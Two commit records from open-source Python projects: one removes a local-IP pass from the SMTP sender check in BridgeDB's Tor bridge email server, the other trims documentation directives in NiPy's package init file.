<commit_before># -*- coding: utf-8 ; test-case-name: bridgedb.test.test_email_server -*-
#_____________________________________________________________________________
#
# This file is part of BridgeDB, a Tor bridge distribution system.
#
# :authors: Nick Mathewson <nickm@torproject.org>
#           Isis Lovecruft <isis@torproject.org> 0xA3ADB67A2CDB8B35
#           Matthew Finkel <sysrqb@torproject.org>
#           please also see AUTHORS file
# :copyright: (c) 2007-2014, The Tor Project, Inc.
#             (c) 2013-2014, Isis Lovecruft
# :license: see LICENSE for licensing information
#_____________________________________________________________________________

"""Servers which interface with clients and distribute bridges over SMTP."""

from __future__ import unicode_literals

import logging
import io
import socket
import time

from twisted.internet import defer
from twisted.internet import reactor
from twisted.internet.task import LoopingCall
from twisted.mail import smtp

from zope.interface import implements

from bridgedb import safelog
from bridgedb import translations
from bridgedb.crypto import getGPGContext
from bridgedb.crypto import gpgSignMessage
from bridgedb.crypto import NEW_BUFFER_INTERFACE
from bridgedb.Dist import EmailRequestedHelp
from bridgedb.Dist import EmailRequestedKey
from bridgedb.Dist import TooSoonEmail
from bridgedb.Dist import IgnoreEmail
from bridgedb.email import templates
from bridgedb.email import request
from bridgedb.parse import addr
from bridgedb.parse.addr import BadEmail
from bridgedb.parse.addr import UnsupportedDomain
from bridgedb.parse.addr import canonicalizeEmailDomain

class MailServerContext(object):
    """Helper object that holds information used by email subsystem.

    :ivar str username: Reject any RCPT TO lines that aren't to this
        user. See the ``EMAIL_USERNAME`` option in the config file.
        (default: ``'bridges'``)
    :ivar int maximumSize: Reject any incoming emails longer than
        this size (in bytes). (default: 3084 bytes).
    :ivar int smtpPort: The port to use for outgoing SMTP.
    :ivar str smtpServer: The IP address to use for outgoing SMTP.
    :ivar str smtpFromAddr: Use this address in the raw SMTP ``MAIL FROM``
        line for outgoing mail. (default: ``bridges@torproject.org``)
    :ivar str fromAddr: Use this address in the email :header:`From:`
        line for outgoing mail. (default: ``bridges@torproject.org``)
    :ivar int nBridges: The number of bridges to send for each email.
    :ivar gpgContext: A ``gpgme.GpgmeContext`` (as created by
        :func:`bridgedb.crypto.getGPGContext`), or None if we couldn't create
        a proper GPGME context for some reason.
    """

    def __init__(self, config, distributor, schedule):
        """Create a context for storing configs for email bridge distribution.

        :type config: :class:`bridgedb.persistent.Conf`
        :type distributor: :class:`bridgedb.Dist.EmailBasedDistributor`.
        :param distributor: The distributor will handle getting the correct
            bridges (or none) for a client for us.
        :type schedule: :class:`bridgedb.schedule.ScheduledInterval`.
        :param schedule: An interval-based scheduler, used to help the
            :ivar:`distributor` know if we should give bridges to a client.
        """
        self.config = config
        self.distributor = distributor
        self.schedule = schedule

        self.maximumSize = smtp.SMTP.MAX_LENGTH
        self.includeFingerprints = config.EMAIL_INCLUDE_FINGERPRINTS
        self.nBridges = config.EMAIL_N_BRIDGES_PER_ANSWER

        self.username = (config.EMAIL_USERNAME or "bridges")
        self.hostname = socket.gethostname()
        self.hostaddr = socket.gethostbyname(self.hostname)
        self.fromAddr = (config.EMAIL_FROM_ADDR or "bridges@torproject.org")
        self.smtpFromAddr = (config.EMAIL_SMTP_FROM_ADDR or self.fromAddr)
        self.smtpServerPort = (config.EMAIL_SMTP_PORT or 25)
        self.smtpServerIP = (config.EMAIL_SMTP_HOST or "127.0.0.1")

        self.domainRules = config.EMAIL_DOMAIN_RULES or {}
        self.domainMap = config.EMAIL_DOMAIN_MAP or {}
        self.canon = self.buildCanonicalDomainMap()

        self.gpgContext = getGPGContext(config)

    def buildCanonicalDomainMap(self):
        """Build a map for all email provider domains from which we will accept
        emails to their canonical domain name.

        .. note:: Be sure that ``MailServerContext.domainRules`` and
            ``MailServerContext.domainMap`` are set appropriately before calling
            this method.

        This method is automatically called during initialisation, and the
        resulting domain map is stored as ``MailServerContext.canon``.

        :rtype: dict
        :returns: A dictionary which maps all domains and subdomains which we
            accept emails from to their second-level, canonical domain names.
        """
        canon = self.domainMap
        for domain, rule in self.domainRules.items():
            if domain not in canon.keys():
                canon[domain] = domain
        for domain in self.config.EMAIL_DOMAINS:
            canon[domain] = domain
        return canon

class MailMessage(object):
    """Plugs into the Twisted Mail and receives an incoming message.

    :ivar list lines: A list of lines from an incoming email message.
    :ivar int nBytes: The number of bytes received thus far.
    :ivar bool ignoring: If ``True``, we're ignoring the rest of this message
        because it exceeded :ivar:`MailContext.maximumSize`.
    """
    implements(smtp.IMessage)

    def __init__(self, context, fromCanonical=None):
        """Create a new MailMessage from a MailContext.

        :type context: :class:`MailContext`
        :param context: The configured context for the email server.
        :type canonicalFrom: str or None
        :param canonicalFrom: The canonical domain which this message was
            received from. For example, if ``'gmail.com'`` is the configured
            canonical domain for ``'googlemail.com'`` and a message is
            received from the latter domain, then this would be set to the
            former.
        """
        self.context = context
        self.fromCanonical = fromCanonical
        self.lines = []
        self.nBytes = 0
        self.ignoring = False

    def lineReceived(self, line):
        """Called when we get another line of an incoming message."""
        self.nBytes += len(line)
        if self.nBytes > self.context.maximumSize:
            self.ignoring = True
        else:
            self.lines.append(line)
        if not safelog.safe_logging:
            logging.debug("> %s", line.rstrip("\r\n"))

    def eomReceived(self):
        """Called when we receive the end of a message."""
        if not self.ignoring:
            self.reply()
        return defer.succeed(None)

    def connectionLost(self):
        """Called if we die partway through reading a message."""
        pass

    def getIncomingMessage(self):
        """Create and parse an :rfc:`2822` message object for all ``lines``
        received thus far.

        :rtype: :api:`twisted.mail.smtp.rfc822.Message`
        :returns: A ``Message`` comprised of all lines received thus far.
        """
        rawMessage = io.StringIO()
        for ln in self.lines:
            rawMessage.writelines(unicode(ln) + unicode('\n'))
        rawMessage.seek(0)
        return smtp.rfc822.Message(rawMessage)

class MailDelivery(object):
    """Plugs into Twisted Mail and handles SMTP commands."""
    implements(smtp.IMessageDelivery)

    def setBridgeDBContext(self, context):
        self.context = context
        self.fromCanonical = None

    def receivedHeader(self, helo, origin, recipients):
        """Create the ``Received:`` header for an incoming email.

        :type helo: tuple
        :param helo: The lines received during SMTP client HELO.
        :type origin: :api:`twisted.mail.smtp.Address`
        :param origin: The email address of the sender.
        :type recipients: list
        :param recipients: A list of :api:`twisted.mail.smtp.User` instances.
        """
        cameFrom = "%s (%s [%s])" % (helo[0] or origin, helo[0], helo[1])
        cameFor = ', '.join(["<{0}>".format(recp.dest) for recp in recipients])
        hdr = str("Received: from %s for %s; %s"
                  % (cameFrom, cameFor, smtp.rfc822date()))
        return hdr

    def validateFrom(self, helo, origin):
        """Validate the ``MAIL FROM:`` address on the incoming SMTP connection.

        This is done at the SMTP layer. Meaning that if a Postfix or other
        email server is proxying emails from the outside world to BridgeDB,
        the :api:`origin.domain <twisted.email.smtp.Address.domain` will be
        set to the local hostname. Therefore, if the SMTP ``MAIL FROM:``
        domain name is our own hostname (as returned from
        :func:`socket.gethostname`) or our own FQDN, allow the connection.

        Otherwise, if the ``MAIL FROM:`` domain has a canonical domain in our
        mapping (taken from :ivar:`context.canon <MailContext.canon>`, which
        is taken in turn from the ``EMAIL_DOMAIN_MAP``), then our
        :ivar:`fromCanonicalSMTP` is set to that domain.

        :type helo: tuple
        :param helo: The lines received during SMTP client HELO.
        :type origin: :api:`twisted.mail.smtp.Address`
        :param origin: The email address we received this message from.
        :raises: :api:`twisted.mail.smtp.SMTPBadSender` if the
            ``origin.domain`` was neither our local hostname, nor one of the
            canonical domains listed in :ivar:`context.canon`.
        :rtype: :api:`twisted.mail.smtp.Address`
        :returns: The ``origin``. We *must* return some non-``None`` data from
            this method, or else Twisted will reply to the sender with a 503
            error.
        """
        try:
            if ((origin.domain == self.context.hostname) or
                (origin.domain == self.context.hostaddr)):
                return origin
            else:
                logging.debug("ORIGIN DOMAIN: %r" % origin.domain)
                canonical = canonicalizeEmailDomain(origin.domain,
                                                    self.context.canon)
                logging.debug("Got canonical domain: %r" % canonical)
                self.fromCanonical = canonical
        except UnsupportedDomain as error:
            logging.info(error)
            raise smtp.SMTPBadSender(origin.domain)
        except Exception as error:
            logging.exception(error)
        return origin  # This method *cannot* return None, or it'll cause a 503.

    def validateTo(self, user):
        """Validate the SMTP ``RCPT TO:`` address for the incoming connection.

        The local username and domain name to which this SMTP message is
        addressed, after being stripped of any ``'+'`` aliases, **must** be
        identical to those in the email address set our
        ``EMAIL_SMTP_FROM_ADDR`` configuration file option.

        :type user: :api:`twisted.mail.smtp.User`
        :param user: Information about the user this SMTP message was
            addressed to.
        :raises: A :api:`twisted.mail.smtp.SMTPBadRcpt` if any of the above
            conditions weren't met.
        :rtype: callable
        :returns: A parameterless function which returns an instance of
            :class:`SMTPMessage`.
        """
        logging.debug("Validating SMTP 'RCPT TO:' email address...")

        recipient = user.dest
        ourAddress = smtp.Address(self.context.smtpFromAddr)

        if not (ourAddress.domain in recipient.domain):
            logging.debug(("Not our domain (%s) or subdomain, skipping"
                           " SMTP 'RCPT TO' address: %s")
                          % (ourAddress.domain, str(recipient)))
            raise smtp.SMTPBadRcpt(str(recipient))
        # The recipient's username should at least start with ours,
        # but it still might be a '+' address.
        if not recipient.local.startswith(ourAddress.local):
            logging.debug(("Username doesn't begin with ours, skipping"
                           " SMTP 'RCPT TO' address: %s") % str(recipient))
            raise smtp.SMTPBadRcpt(str(recipient))
        # Ignore everything after the first '+', if there is one.
        beforePlus = recipient.local.split('+', 1)[0]
        if beforePlus != ourAddress.local:
            raise smtp.SMTPBadRcpt(str(recipient))

        return lambda: MailMessage(self.context, self.fromCanonical)

class MailFactory(smtp.SMTPFactory):
    """Plugs into Twisted Mail; creates a new MailDelivery whenever we get
       a connection on the SMTP port."""

    def __init__(self, context=None, **kw):
        smtp.SMTPFactory.__init__(self, **kw)
        self.delivery = MailDelivery()
        if context:
            self.setBridgeDBContext(context)

    def setBridgeDBContext(self, context):
        self.context = context
        self.delivery.setBridgeDBContext(context)

    def buildProtocol(self, addr):
        p = smtp.SMTPFactory.buildProtocol(self, addr)
        p.delivery = self.delivery
        return p

def addServer(config, distributor, schedule):
    """Set up a SMTP server for responding to requests for bridges.

    :type config: :class:`bridgedb.persistent.Conf`
    :param config: A configuration object.
    :type distributor: :class:`bridgedb.Dist.EmailBasedDistributor`
    :param dist: A distributor which will handle database interactions, and
        will decide which bridges to give to who and when.
    :type schedule: :class:`bridgedb.schedule.ScheduledInterval`
    :param schedule: The schedule. XXX: Is this even used?
    """
    context = MailContext(config, distributor, schedule)
    factory = MailFactory(context)

    addr = config.EMAIL_BIND_IP or ""
    port = config.EMAIL_PORT

    reactor.listenTCP(port, factory, interface=addr)

    # Set up a LoopingCall to run every 30 minutes and forget old email times.
    lc = LoopingCall(distributor.cleanDatabase)
    lc.start(1800, now=False)

    return factory
<commit_msg>Remove local hostaddr domain pass for SMTP checks.<commit_after># -*- coding: utf-8 ; test-case-name: bridgedb.test.test_email_server -*-
#_____________________________________________________________________________
#
# This file is part of BridgeDB, a Tor bridge distribution system.
#
# :authors: Nick Mathewson <nickm@torproject.org>
#           Isis Lovecruft <isis@torproject.org> 0xA3ADB67A2CDB8B35
#           Matthew Finkel <sysrqb@torproject.org>
#           please also see AUTHORS file
# :copyright: (c) 2007-2014, The Tor Project, Inc.
#             (c) 2013-2014, Isis Lovecruft
# :license: see LICENSE for licensing information
#_____________________________________________________________________________

"""Servers which interface with clients and distribute bridges over SMTP."""

from __future__ import unicode_literals

import logging
import io
import socket
import time

from twisted.internet import defer
from twisted.internet import reactor
from twisted.internet.task import LoopingCall
from twisted.mail import smtp

from zope.interface import implements

from bridgedb import safelog
from bridgedb import translations
from bridgedb.crypto import getGPGContext
from bridgedb.crypto import gpgSignMessage
from bridgedb.crypto import NEW_BUFFER_INTERFACE
from bridgedb.Dist import EmailRequestedHelp
from bridgedb.Dist import EmailRequestedKey
from bridgedb.Dist import TooSoonEmail
from bridgedb.Dist import IgnoreEmail
from bridgedb.email import templates
from bridgedb.email import request
from bridgedb.parse import addr
from bridgedb.parse.addr import BadEmail
from bridgedb.parse.addr import UnsupportedDomain
from bridgedb.parse.addr import canonicalizeEmailDomain

class MailServerContext(object):
    """Helper object that holds information used by email subsystem.

    :ivar str username: Reject any RCPT TO lines that aren't to this
        user. See the ``EMAIL_USERNAME`` option in the config file.
        (default: ``'bridges'``)
    :ivar int maximumSize: Reject any incoming emails longer than
        this size (in bytes). (default: 3084 bytes).
    :ivar int smtpPort: The port to use for outgoing SMTP.
    :ivar str smtpServer: The IP address to use for outgoing SMTP.
    :ivar str smtpFromAddr: Use this address in the raw SMTP ``MAIL FROM``
        line for outgoing mail. (default: ``bridges@torproject.org``)
    :ivar str fromAddr: Use this address in the email :header:`From:`
        line for outgoing mail. (default: ``bridges@torproject.org``)
    :ivar int nBridges: The number of bridges to send for each email.
    :ivar gpgContext: A ``gpgme.GpgmeContext`` (as created by
        :func:`bridgedb.crypto.getGPGContext`), or None if we couldn't create
        a proper GPGME context for some reason.
    """

    def __init__(self, config, distributor, schedule):
        """Create a context for storing configs for email bridge distribution.

        :type config: :class:`bridgedb.persistent.Conf`
        :type distributor: :class:`bridgedb.Dist.EmailBasedDistributor`.
        :param distributor: The distributor will handle getting the correct
            bridges (or none) for a client for us.
        :type schedule: :class:`bridgedb.schedule.ScheduledInterval`.
        :param schedule: An interval-based scheduler, used to help the
            :ivar:`distributor` know if we should give bridges to a client.
        """
        self.config = config
        self.distributor = distributor
        self.schedule = schedule

        self.maximumSize = smtp.SMTP.MAX_LENGTH
        self.includeFingerprints = config.EMAIL_INCLUDE_FINGERPRINTS
        self.nBridges = config.EMAIL_N_BRIDGES_PER_ANSWER

        self.username = (config.EMAIL_USERNAME or "bridges")
        self.hostname = socket.gethostname()
        self.fromAddr = (config.EMAIL_FROM_ADDR or "bridges@torproject.org")
        self.smtpFromAddr = (config.EMAIL_SMTP_FROM_ADDR or self.fromAddr)
        self.smtpServerPort = (config.EMAIL_SMTP_PORT or 25)
        self.smtpServerIP = (config.EMAIL_SMTP_HOST or "127.0.0.1")

        self.domainRules = config.EMAIL_DOMAIN_RULES or {}
        self.domainMap = config.EMAIL_DOMAIN_MAP or {}
        self.canon = self.buildCanonicalDomainMap()

        self.gpgContext = getGPGContext(config)

    def buildCanonicalDomainMap(self):
        """Build a map for all email provider domains from which we will accept
        emails to their canonical domain name.

        .. note:: Be sure that ``MailServerContext.domainRules`` and
            ``MailServerContext.domainMap`` are set appropriately before calling
            this method.

        This method is automatically called during initialisation, and the
        resulting domain map is stored as ``MailServerContext.canon``.

        :rtype: dict
        :returns: A dictionary which maps all domains and subdomains which we
            accept emails from to their second-level, canonical domain names.
        """
        canon = self.domainMap
        for domain, rule in self.domainRules.items():
            if domain not in canon.keys():
                canon[domain] = domain
        for domain in self.config.EMAIL_DOMAINS:
            canon[domain] = domain
        return canon

class MailMessage(object):
    """Plugs into the Twisted Mail and receives an incoming message.

    :ivar list lines: A list of lines from an incoming email message.
    :ivar int nBytes: The number of bytes received thus far.
    :ivar bool ignoring: If ``True``, we're ignoring the rest of this message
        because it exceeded :ivar:`MailContext.maximumSize`.
    """
    implements(smtp.IMessage)

    def __init__(self, context, fromCanonical=None):
        """Create a new MailMessage from a MailContext.

        :type context: :class:`MailContext`
        :param context: The configured context for the email server.
        :type canonicalFrom: str or None
        :param canonicalFrom: The canonical domain which this message was
            received from. For example, if ``'gmail.com'`` is the configured
            canonical domain for ``'googlemail.com'`` and a message is
            received from the latter domain, then this would be set to the
            former.
        """
        self.context = context
        self.fromCanonical = fromCanonical
        self.lines = []
        self.nBytes = 0
        self.ignoring = False

    def lineReceived(self, line):
        """Called when we get another line of an incoming message."""
        self.nBytes += len(line)
        if self.nBytes > self.context.maximumSize:
            self.ignoring = True
        else:
            self.lines.append(line)
        if not safelog.safe_logging:
            logging.debug("> %s", line.rstrip("\r\n"))

    def eomReceived(self):
        """Called when we receive the end of a message."""
        if not self.ignoring:
            self.reply()
        return defer.succeed(None)

    def connectionLost(self):
        """Called if we die partway through reading a message."""
        pass

    def getIncomingMessage(self):
        """Create and parse an :rfc:`2822` message object for all ``lines``
        received thus far.

        :rtype: :api:`twisted.mail.smtp.rfc822.Message`
        :returns: A ``Message`` comprised of all lines received thus far.
        """
        rawMessage = io.StringIO()
        for ln in self.lines:
            rawMessage.writelines(unicode(ln) + unicode('\n'))
        rawMessage.seek(0)
        return smtp.rfc822.Message(rawMessage)

class MailDelivery(object):
    """Plugs into Twisted Mail and handles SMTP commands."""
    implements(smtp.IMessageDelivery)

    def setBridgeDBContext(self, context):
        self.context = context
        self.fromCanonical = None

    def receivedHeader(self, helo, origin, recipients):
        """Create the ``Received:`` header for an incoming email.

        :type helo: tuple
        :param helo: The lines received during SMTP client HELO.
        :type origin: :api:`twisted.mail.smtp.Address`
        :param origin: The email address of the sender.
        :type recipients: list
        :param recipients: A list of :api:`twisted.mail.smtp.User` instances.
        """
        cameFrom = "%s (%s [%s])" % (helo[0] or origin, helo[0], helo[1])
        cameFor = ', '.join(["<{0}>".format(recp.dest) for recp in recipients])
        hdr = str("Received: from %s for %s; %s"
                  % (cameFrom, cameFor, smtp.rfc822date()))
        return hdr

    def validateFrom(self, helo, origin):
        """Validate the ``MAIL FROM:`` address on the incoming SMTP connection.

        This is done at the SMTP layer. Meaning that if a Postfix or other
        email server is proxying emails from the outside world to BridgeDB,
        the :api:`origin.domain <twisted.email.smtp.Address.domain` will be
        set to the local hostname. Therefore, if the SMTP ``MAIL FROM:``
        domain name is our own hostname (as returned from
        :func:`socket.gethostname`) or our own FQDN, allow the connection.

        Otherwise, if the ``MAIL FROM:`` domain has a canonical domain in our
        mapping (taken from :ivar:`context.canon <MailContext.canon>`, which
        is taken in turn from the ``EMAIL_DOMAIN_MAP``), then our
        :ivar:`fromCanonicalSMTP` is set to that domain.

        :type helo: tuple
        :param helo: The lines received during SMTP client HELO.
        :type origin: :api:`twisted.mail.smtp.Address`
        :param origin: The email address we received this message from.
        :raises: :api:`twisted.mail.smtp.SMTPBadSender` if the
            ``origin.domain`` was neither our local hostname, nor one of the
            canonical domains listed in :ivar:`context.canon`.
        :rtype: :api:`twisted.mail.smtp.Address`
        :returns: The ``origin``. We *must* return some non-``None`` data from
            this method, or else Twisted will reply to the sender with a 503
            error.
        """
        try:
            if ((origin.domain == self.context.hostname) or
                (origin.domain == smtp.DNSNAME)):
                self.fromCanonicalSMTP = origin.domain
            else:
                logging.debug("Canonicalizing client SMTP domain...")
                canonical = canonicalizeEmailDomain(origin.domain,
                                                    self.context.canon)
                logging.debug("Canonical SMTP domain: %r" % canonical)
                self.fromCanonicalSMTP = canonical
        except UnsupportedDomain as error:
            logging.info(error)
            raise smtp.SMTPBadSender(origin.domain)
        except Exception as error:
            logging.exception(error)

        # This method **cannot** return None, or it'll cause a 503 error.
        return origin

    def validateTo(self, user):
        """Validate the SMTP ``RCPT TO:`` address for the incoming connection.

        The local username and domain name to which this SMTP message is
        addressed, after being stripped of any ``'+'`` aliases, **must** be
        identical to those in the email address set our
        ``EMAIL_SMTP_FROM_ADDR`` configuration file option.

        :type user: :api:`twisted.mail.smtp.User`
        :param user: Information about the user this SMTP message was
            addressed to.
        :raises: A :api:`twisted.mail.smtp.SMTPBadRcpt` if any of the above
            conditions weren't met.
        :rtype: callable
        :returns: A parameterless function which returns an instance of
            :class:`SMTPMessage`.
        """
        logging.debug("Validating SMTP 'RCPT TO:' email address...")

        recipient = user.dest
        ourAddress = smtp.Address(self.context.smtpFromAddr)

        if not (ourAddress.domain in recipient.domain):
            logging.debug(("Not our domain (%s) or subdomain, skipping"
                           " SMTP 'RCPT TO' address: %s")
                          % (ourAddress.domain, str(recipient)))
            raise smtp.SMTPBadRcpt(str(recipient))
        # The recipient's username should at least start with ours,
        # but it still might be a '+' address.
        if not recipient.local.startswith(ourAddress.local):
            logging.debug(("Username doesn't begin with ours, skipping"
                           " SMTP 'RCPT TO' address: %s") % str(recipient))
            raise smtp.SMTPBadRcpt(str(recipient))
        # Ignore everything after the first '+', if there is one.
        beforePlus = recipient.local.split('+', 1)[0]
        if beforePlus != ourAddress.local:
            raise smtp.SMTPBadRcpt(str(recipient))

        return lambda: MailMessage(self.context, self.fromCanonical)

class MailFactory(smtp.SMTPFactory):
    """Plugs into Twisted Mail; creates a new MailDelivery whenever we get
       a connection on the SMTP port."""

    def __init__(self, context=None, **kw):
        smtp.SMTPFactory.__init__(self, **kw)
        self.delivery = MailDelivery()
        if context:
            self.setBridgeDBContext(context)

    def setBridgeDBContext(self, context):
        self.context = context
        self.delivery.setBridgeDBContext(context)

    def buildProtocol(self, addr):
        p = smtp.SMTPFactory.buildProtocol(self, addr)
        p.delivery = self.delivery
        return p

def addServer(config, distributor, schedule):
    """Set up a SMTP server for responding to requests for bridges.

    :type config: :class:`bridgedb.persistent.Conf`
    :param config: A configuration object.
    :type distributor: :class:`bridgedb.Dist.EmailBasedDistributor`
    :param dist: A distributor which will handle database interactions, and
        will decide which bridges to give to who and when.
    :type schedule: :class:`bridgedb.schedule.ScheduledInterval`
    :param schedule: The schedule. XXX: Is this even used?
    """
    context = MailContext(config, distributor, schedule)
    factory = MailFactory(context)

    addr = config.EMAIL_BIND_IP or ""
    port = config.EMAIL_PORT

    reactor.listenTCP(port, factory, interface=addr)

    # Set up a LoopingCall to run every 30 minutes and forget old email times.
    lc = LoopingCall(distributor.cleanDatabase)
    lc.start(1800, now=False)

    return factory
<|endoftext|>


<commit_before>"""
Neuroimaging tools for Python (NiPy).

The aim of NiPy is to produce a platform-independent Python environment for
the analysis of brain imaging data using an open development model.

While
the project is still in its initial stages, packages for file I/O, script
support as well as single subject fMRI and random effects group comparisons
model are currently available.

Specifically, we aim to:

   1. Provide an open source, mixed language scientific programming
      environment suitable for rapid development.

   2. Create sofware components in this environment to make it easy
      to develop tools for MRI, EEG, PET and other modalities.

   3. Create and maintain a wide base of developers to contribute to
      this platform.

   4. To maintain and develop this framework as a single, easily
      installable bundle.

.. importgraph::

.. classtree:: neuroimaging

Package Organization
====================
The neuroimaging package contains the following subpackages and modules:

.. packagetree::
   :style: UML
"""
__docformat__ = 'restructuredtext en'

__version__  = '0.01a'
__revision__ = int("$Rev$".split()[-2])
__status__   = 'alpha'
__date__     = "$LastChangedDate$"
__url__      = 'http://neuroimaging.scipy.org'

import re
from copy import copy

from numpy import product

import defines
from neuroimaging.utils.path import path

packages = (
  'neuroimaging',
  'neuroimaging.algorithms.statistics',
  'neuroimaging.algorithms.statistics.tests',
  'neuroimaging.core.image',
  'neuroimaging.core.image.tests',
  'neuroimaging.core.reference',
  'neuroimaging.core.reference.tests',
  'neuroimaging.data_io',
  'neuroimaging.data_io.tests',
  'neuroimaging.data_io.formats',
  'neuroimaging.data_io.formats.tests',
  'neuroimaging.fmri',
  'neuroimaging.fmri.tests',
  'neuroimaging.fmri.fmristat',
  'neuroimaging.fmri.fmristat.tests',
  'neuroimaging.utils.tests')

PYLAB_DEF, pylab = defines.pylab_def()
if PYLAB_DEF:
    packages += ('neuroimaging.ui.visualization',
                'neuroimaging.ui.visualization.cmap',
                'neuroimaging.ui.visualization.tests')

ENTHOUGHT_TRAITS_DEF, traits = defines.enthought_traits_def()
if not ENTHOUGHT_TRAITS_DEF:
    packages += ('neuroimaging.utils',
                 'neuroimaging.utils.enthought',
                 'neuroimaging.utils.enthought.traits',
                 'neuroimaging.utils.enthought.traits.ui',
                 'neuroimaging.utils.enthought.traits.ui.null',
                 'neuroimaging.utils.enthought.util',
                 'neuroimaging.utils.enthought.resource')

testmatch = re.compile(".*tests").search
nontest_packages = [p for p in packages if not testmatch(p)]

# modules to be pre-imported for convenience
_preload_modules = (
  'neuroimaging.algorithms.statistics.regression',
  'neuroimaging.algorithms.statistics.classification',
  'neuroimaging.core.image.interpolation',
  'neuroimaging.core.image.onesample',
  'neuroimaging.core.image.regression',
  'neuroimaging.core.reference.axis',
  'neuroimaging.core.reference.coordinate_system',
  'neuroimaging.core.reference.grid',
  'neuroimaging.core.reference.iterators',
  'neuroimaging.core.reference.mapping',
  'neuroimaging.core.reference.slices',
  'neuroimaging.data_io.formats.analyze',
  'neuroimaging.data_io.formats.nifti1',
  'neuroimaging.ui.visualization.viewer',)

#-----------------------------------------------------------------------------
def hasattrs(obj, *attrs):
    for attr in attrs:
        if not hasattr(obj, attr): return False
    return True

#-----------------------------------------------------------------------------
def haslength(obj): return hasattr(obj,"__len__")

#-----------------------------------------------------------------------------
def flatten(arr, dim=0):
    if len(arr.shape) < 2: return
    oldshape = arr.shape
    arr.shape = oldshape[0:dim] + (product(oldshape[dim:]),)

#-----------------------------------------------------------------------------
def reorder(seq, order): return [seq[i] for i in order]

#-----------------------------------------------------------------------------
def reverse(seq): return reorder(seq, range(len(seq)-1, -1, -1))

#-----------------------------------------------------------------------------
def ensuredirs(directory):
    if not isinstance(directory, path): directory= path(directory)
    if not directory.exists(): directory.makedirs()

#-----------------------------------------------------------------------------
#def keywords(func):
#    if not hasattrs(func, "func_code", "func_defaults"):
#        raise ValueError(
#          "please pass a function or method object (got %s)"%func)
#    argnames = func.func_code.co_

#-----------------------------------------------------------------------------
def preload(packages=nontest_packages):
    """
    Import the specified modules/packages (enabling fewer imports in client
    scripts).  By default, import all non-test packages:\n%s
    and the following modules:\n%s
    """%("\n".join(nontest_packages),"\n".join(_preload_modules))
    for package in packages: __import__(package, {}, {})
    for module in _preload_modules: __import__(module, {}, {})

#-----------------------------------------------------------------------------
def import_from(modulename, objectname):
    "Import and return objectname from modulename."
    module = __import__(modulename, {}, {}, (objectname,))
    try: return getattr(module, objectname)
    except AttributeError: return None

# Always preload all packages.  This should be removed as soon as the client
# scripts can be modified to call it themselves.
#preload()

<commit_msg>update the doc generation<commit_after>"""
Neuroimaging tools for Python (NiPy).

The aim of NiPy is to produce a platform-independent Python environment for
the analysis of brain imaging data using an open development model.

While
the project is still in its initial stages, packages for file I/O, script
support as well as single subject fMRI and random effects group comparisons
model are currently available.

Specifically, we aim to:

   1. Provide an open source, mixed language scientific programming
      environment suitable for rapid development.

   2. Create sofware components in this environment to make it easy
      to develop tools for MRI, EEG, PET and other modalities.

   3. Create and maintain a wide base of developers to contribute to
      this platform.

   4. To maintain and develop this framework as a single, easily
      installable bundle.

Package Organization
====================
The neuroimaging package contains the following subpackages and modules:

.. packagetree::
   :style: UML
"""
__docformat__ = 'restructuredtext en'

__version__  = '0.01a'
__revision__ = int("$Rev$".split()[-2])
__status__   = 'alpha'
__date__     = "$LastChangedDate$"
__url__      = 'http://neuroimaging.scipy.org'

import re
from copy import copy

from numpy import product

import defines
from neuroimaging.utils.path import path

packages = (
  'neuroimaging',
  'neuroimaging.algorithms.statistics',
  'neuroimaging.algorithms.statistics.tests',
  'neuroimaging.core.image',
  'neuroimaging.core.image.tests',
  'neuroimaging.core.reference',
  'neuroimaging.core.reference.tests',
  'neuroimaging.data_io',
  'neuroimaging.data_io.tests',
  'neuroimaging.data_io.formats',
  'neuroimaging.data_io.formats.tests',
  'neuroimaging.fmri',
  'neuroimaging.fmri.tests',
  'neuroimaging.fmri.fmristat',
  'neuroimaging.fmri.fmristat.tests',
  'neuroimaging.utils.tests')

PYLAB_DEF, pylab = defines.pylab_def()
if PYLAB_DEF:
    packages += ('neuroimaging.ui.visualization',
                'neuroimaging.ui.visualization.cmap',
                'neuroimaging.ui.visualization.tests')

ENTHOUGHT_TRAITS_DEF, traits = defines.enthought_traits_def()
if not ENTHOUGHT_TRAITS_DEF:
    packages += ('neuroimaging.utils',
                 'neuroimaging.utils.enthought',
                 'neuroimaging.utils.enthought.traits',
                 'neuroimaging.utils.enthought.traits.ui',
                 'neuroimaging.utils.enthought.traits.ui.null',
                 'neuroimaging.utils.enthought.util',
                 'neuroimaging.utils.enthought.resource')

testmatch = re.compile(".*tests").search
nontest_packages = [p for p in packages if not testmatch(p)]

# modules to be pre-imported for convenience
_preload_modules = (
  'neuroimaging.algorithms.statistics.regression',
  'neuroimaging.algorithms.statistics.classification',
  'neuroimaging.core.image.interpolation',
  'neuroimaging.core.image.onesample',
  'neuroimaging.core.image.regression',
  'neuroimaging.core.reference.axis',
  'neuroimaging.core.reference.coordinate_system',
  'neuroimaging.core.reference.grid',
  'neuroimaging.core.reference.iterators',
  'neuroimaging.core.reference.mapping',
  'neuroimaging.core.reference.slices',
  'neuroimaging.data_io.formats.analyze',
  'neuroimaging.data_io.formats.nifti1',
  'neuroimaging.ui.visualization.viewer',)

#-----------------------------------------------------------------------------
def hasattrs(obj, *attrs):
    for attr in attrs:
        if not hasattr(obj, attr): return False
    return True

#-----------------------------------------------------------------------------
def haslength(obj): return hasattr(obj,"__len__")

#-----------------------------------------------------------------------------
def flatten(arr, dim=0):
    if len(arr.shape) < 2: return
    oldshape = arr.shape
    arr.shape = oldshape[0:dim] + (product(oldshape[dim:]),)

#-----------------------------------------------------------------------------
def reorder(seq, order): return [seq[i] for i in order]

#-----------------------------------------------------------------------------
def reverse(seq): return reorder(seq, range(len(seq)-1, -1, -1))

#-----------------------------------------------------------------------------
def ensuredirs(directory):
    if not isinstance(directory, path): directory= path(directory)
    if not directory.exists(): directory.makedirs()

#-----------------------------------------------------------------------------
#def keywords(func):
#    if not hasattrs(func, "func_code", "func_defaults"):
#        raise ValueError(
#          "please pass a function or method object (got %s)"%func)
#    argnames = func.func_code.co_

#-----------------------------------------------------------------------------
def preload(packages=nontest_packages):
    """
    Import the specified modules/packages (enabling fewer imports in client
    scripts).  By default, import all non-test packages:\n%s
    and the following modules:\n%s
    """%("\n".join(nontest_packages),"\n".join(_preload_modules))
    for package in packages: __import__(package, {}, {})
    for module in _preload_modules: __import__(module, {}, {})

#-----------------------------------------------------------------------------
def import_from(modulename, objectname):
    "Import and return objectname from modulename."
    module = __import__(modulename, {}, {}, (objectname,))
    try: return getattr(module, objectname)
    except AttributeError: return None

# Always preload all packages.  This should be removed as soon as the client
